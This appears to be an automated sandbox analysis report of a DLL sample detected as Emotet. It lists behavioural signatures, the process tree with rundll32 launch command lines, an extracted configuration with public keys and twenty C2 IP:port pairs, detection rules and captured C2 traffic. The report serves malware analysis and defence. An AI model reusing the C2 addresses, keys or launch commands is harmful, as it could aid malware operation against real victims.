Play interactive tour

Edit tour

Windows Analysis Report wUKXjICs5f

Overview

General Information

Sample Name:	wUKXjICs5f (renamed file extension from none to dll)
Analysis ID:	528002
MD5:	b65325cbe036c4e86a94428d8e7fab49
SHA1:	8788e13d2a0fad0a31f5a48613d2fcbd521d0d2e
SHA256:	3a8acc008eaad0a94e3b5fbd200028fa342773869b3f7f7edf772adbfb52d789
Tags:	dll
Infos:
Most interesting Screenshot:

Detection

Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Yara detected Emotet

System process connects to network (likely due to code injection or exploit)

Sigma detected: Emotet RunDLL32 Process Creation

Changes security center settings (notifications, updates, antivirus, firewall)

Machine Learning detection for sample

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

AV process strings found (often used to terminate AV products)

PE file contains an invalid checksum

PE file contains strange resources

Tries to load missing DLLs

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6288 cmdline: loaddll32.exe "C:\Users\user\Desktop\wUKXjICs5f.dll" MD5: 72FCD8FB0ADC38ED9050569AD673650E)

cmd.exe (PID: 6308 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\wUKXjICs5f.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 6328 cmdline: rundll32.exe "C:\Users\user\Desktop\wUKXjICs5f.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6372 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\wUKXjICs5f.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6316 cmdline: rundll32.exe C:\Users\user\Desktop\wUKXjICs5f.dll,Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6360 cmdline: rundll32.exe C:\Users\user\Desktop\wUKXjICs5f.dll,Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6424 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Fuigi\opvkeqtc.jnf",CjHxo MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6436 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Fuigi\opvkeqtc.jnf",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

svchost.exe (PID: 6532 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6864 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6984 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7068 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7116 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 7136 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 5512 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 6736 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 6740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 4584 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4940 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6188 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6896 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

Threatname: Emotet

{"Public Key": ["RUNLMSAAAADYNZPXY4tQxd/N4Wn5sTYAm5tUOxY2ol1ELrI4MNhHNi640vSLasjYTHpFRBoG+o84vtr7AJachCzOHjaAJFCW", "RUNTMSAAAAD0LxqDNhonUYwk8sqo7IWuUllRdUiUBnACc6romsQoe1YJD7wIe4AheqYofpZFucPDXCZ0z9i+ooUffqeoLZU0"], "C2 list": ["51.178.61.60:443", "168.197.250.14:80", "45.79.33.48:8080", "196.44.98.190:8080", "177.72.80.14:7080", "51.210.242.234:8080", "185.148.169.10:8080", "142.4.219.173:8080", "78.47.204.80:443", "78.46.73.125:443", "37.44.244.177:8080", "37.59.209.141:8080", "191.252.103.16:80", "54.38.242.185:443", "85.214.67.203:8080", "54.37.228.122:443", "207.148.81.119:8080", "195.77.239.39:8080", "66.42.57.149:443", "195.154.146.35:443"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.772022098.0000000002DD4000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000003.250860645.00000000032A6000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000003.276395554.0000000002DD4000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.252359098.00000000032A6000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000003.251084633.00000000032A6000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000003.506501770.0000000002DD4000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.256705273.0000000002806000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.254361044.000000000267A000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000003.250320926.00000000026B6000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000003.327953238.0000000002DD4000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.251529098.0000000002886000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
3.2.rundll32.exe.2886c78.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.3.rundll32.exe.32a6ba0.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.3.rundll32.exe.2de6d08.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.3.rundll32.exe.32a6ba0.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.26b6bc0.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.2806c60.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.2806c60.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.3.rundll32.exe.32a6ba0.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.3.rundll32.exe.32a6ba0.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.32a6ba0.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.2886c78.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.3.rundll32.exe.26b6bc0.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.rundll32.exe.32a6ba0.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.3.rundll32.exe.2de6d08.2.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.2de6d08.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.3.rundll32.exe.2de6d08.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.26b6bc0.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.2de6d08.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 13 entries

Sigma Overview

System Summary:

Sigma detected: Emotet RunDLL32 Process Creation

Show sources

Source: Process started

Author: FPT.EagleEye: Data: Command: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Fuigi\opvkeqtc.jnf",Control_RunDLL, CommandLine: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Fuigi\opvkeqtc.jnf",Control_RunDLL, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Fuigi\opvkeqtc.jnf",CjHxo, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 6424, ProcessCommandLine: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Fuigi\opvkeqtc.jnf",Control_RunDLL, ProcessId: 6436

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 7.3.rundll32.exe.2de6d08.1.raw.unpack

Malware Configuration Extractor: Emotet {"Public Key": ["RUNLMSAAAADYNZPXY4tQxd/N4Wn5sTYAm5tUOxY2ol1ELrI4MNhHNi640vSLasjYTHpFRBoG+o84vtr7AJachCzOHjaAJFCW", "RUNTMSAAAAD0LxqDNhonUYwk8sqo7IWuUllRdUiUBnACc6romsQoe1YJD7wIe4AheqYofpZFucPDXCZ0z9i+ooUffqeoLZU0"], "C2 list": ["51.178.61.60:443", "168.197.250.14:80", "45.79.33.48:8080", "196.44.98.190:8080", "177.72.80.14:7080", "51.210.242.234:8080", "185.148.169.10:8080", "142.4.219.173:8080", "78.47.204.80:443", "78.46.73.125:443", "37.44.244.177:8080", "37.59.209.141:8080", "191.252.103.16:80", "54.38.242.185:443", "85.214.67.203:8080", "54.37.228.122:443", "207.148.81.119:8080", "195.77.239.39:8080", "66.42.57.149:443", "195.154.146.35:443"]}

Multi AV Scanner detection for submitted file

Show sources

Source: wUKXjICs5f.dll	Virustotal: Detection: 18%			Perma Link
Source: wUKXjICs5f.dll	ReversingLabs: Detection: 18%

Machine Learning detection for sample

Show sources

Source: wUKXjICs5f.dll

Joe Sandbox ML: detected

Source: 7.2.rundll32.exe.2de6d08.0.unpack

Avira: Label: TR/ATRAPS.Gen

Source: wUKXjICs5f.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: unknown

HTTPS traffic detected: 51.178.61.60:443 -> 192.168.2.5:49759 version: TLS 1.2

Source: wUKXjICs5f.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF6188A FindFirstFileExW,	2_2_6EF6188A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF6188A FindFirstFileExW,	3_2_6EF6188A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10011A80 FindFirstFileW,	7_2_10011A80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2404334 ET CNC Feodo Tracker Reported CnC Server TCP group 18 192.168.2.5:49759 -> 51.178.61.60:443
Source: Traffic	Snort IDS: 2404312 ET CNC Feodo Tracker Reported CnC Server TCP group 7 192.168.2.5:49760 -> 168.197.250.14:80
Source: Traffic	Snort IDS: 2404332 ET CNC Feodo Tracker Reported CnC Server TCP group 17 192.168.2.5:49761 -> 45.79.33.48:8080
Source: Traffic	Snort IDS: 2404322 ET CNC Feodo Tracker Reported CnC Server TCP group 12 192.168.2.5:49764 -> 196.44.98.190:8080
Source: Traffic	Snort IDS: 2404314 ET CNC Feodo Tracker Reported CnC Server TCP group 8 192.168.2.5:49771 -> 177.72.80.14:7080
Source: Traffic	Snort IDS: 2021013 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC) 177.72.80.14:7080 -> 192.168.2.5:49771

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 196.44.98.190 144	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.79.33.48 144	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 168.197.250.14 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 51.178.61.60 187	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 177.72.80.14 168	Jump to behavior

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 51.178.61.60:443
Source: Malware configuration extractor	IPs: 168.197.250.14:80
Source: Malware configuration extractor	IPs: 45.79.33.48:8080
Source: Malware configuration extractor	IPs: 196.44.98.190:8080
Source: Malware configuration extractor	IPs: 177.72.80.14:7080
Source: Malware configuration extractor	IPs: 51.210.242.234:8080
Source: Malware configuration extractor	IPs: 185.148.169.10:8080
Source: Malware configuration extractor	IPs: 142.4.219.173:8080
Source: Malware configuration extractor	IPs: 78.47.204.80:443
Source: Malware configuration extractor	IPs: 78.46.73.125:443
Source: Malware configuration extractor	IPs: 37.44.244.177:8080
Source: Malware configuration extractor	IPs: 37.59.209.141:8080
Source: Malware configuration extractor	IPs: 191.252.103.16:80
Source: Malware configuration extractor	IPs: 54.38.242.185:443
Source: Malware configuration extractor	IPs: 85.214.67.203:8080
Source: Malware configuration extractor	IPs: 54.37.228.122:443
Source: Malware configuration extractor	IPs: 207.148.81.119:8080
Source: Malware configuration extractor	IPs: 195.77.239.39:8080
Source: Malware configuration extractor	IPs: 66.42.57.149:443
Source: Malware configuration extractor	IPs: 195.154.146.35:443

Source: Joe Sandbox View	ASN Name: AS-CHOOPAUS AS-CHOOPAUS
Source: Joe Sandbox View	ASN Name: EcobandGH EcobandGH

Source: Joe Sandbox View

JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8

Source: global traffic

HTTP traffic detected: GET /eUOoKZnMdMEYuzcUGINMwfTbKAcjacjvJSVpjTRzbVm HTTP/1.1Cookie: Be=/e+ryNwguw53nczD4xJbHFDdjL37F8QEcvMUykYv5sMEo8XxTD2o8cwSPVNEeJJpE5Syx1Bf/DX/hqpSxNKsMxn2Ni9QSPVu6f0TDMC2oBhbvl9FQyvGFwptqWxP7HZVr62liakOpnLCl0gkxE5DOypBURsXex0ZCya1qA6riCZpqL5WFAMXK8wxqLuKCzUpLtUplaztUYNZ7KjQKriVl6DmQ/frACwvbJ9i/s8W2Nu2YdRl4Y5Ww2i6C8qiArBbmkhOEpAZhvzdElhNOKLgZAdMSE8UILYNfp310IxZJVWTLsk=Host: 51.178.61.60Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 207.148.81.119 207.148.81.119
Source: Joe Sandbox View	IP Address: 196.44.98.190 196.44.98.190

Source: global traffic	TCP traffic: 192.168.2.5:49761 -> 45.79.33.48:8080
Source: global traffic	TCP traffic: 192.168.2.5:49764 -> 196.44.98.190:8080
Source: global traffic	TCP traffic: 192.168.2.5:49771 -> 177.72.80.14:7080

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 24 Nov 2021 15:52:16 GMTContent-Type: text/htmlContent-Length: 162Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 51.178.61.60
Source: unknown	TCP traffic detected without corresponding DNS query: 168.197.250.14
Source: unknown	TCP traffic detected without corresponding DNS query: 168.197.250.14
Source: unknown	TCP traffic detected without corresponding DNS query: 168.197.250.14
Source: unknown	TCP traffic detected without corresponding DNS query: 45.79.33.48
Source: unknown	TCP traffic detected without corresponding DNS query: 45.79.33.48
Source: unknown	TCP traffic detected without corresponding DNS query: 45.79.33.48
Source: unknown	TCP traffic detected without corresponding DNS query: 196.44.98.190
Source: unknown	TCP traffic detected without corresponding DNS query: 196.44.98.190
Source: unknown	TCP traffic detected without corresponding DNS query: 196.44.98.190
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14
Source: unknown	TCP traffic detected without corresponding DNS query: 177.72.80.14

Source: svchost.exe, 0000001F.00000003.572538302.0000021E8BF90000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2021-11-23T19:02:05.3195648Z\|\|.\|\|797d024d-8c74-4faa-b6a6-08435801478b\|\|1152921505694213184\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailabilities":[{"Sku"
Source: svchost.exe, 0000001F.00000003.572538302.0000021E8BF90000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2021-11-23T19:02:05.3195648Z\|\|.\|\|797d024d-8c74-4faa-b6a6-08435801478b\|\|1152921505694213184\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailabilities":[{"Sku"
Source: svchost.exe, 0000001F.00000003.572538302.0000021E8BF90000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify Music","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV"," equals www.facebook.com (Facebook)
Source: svchost.exe, 0000001F.00000003.572538302.0000021E8BF90000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify 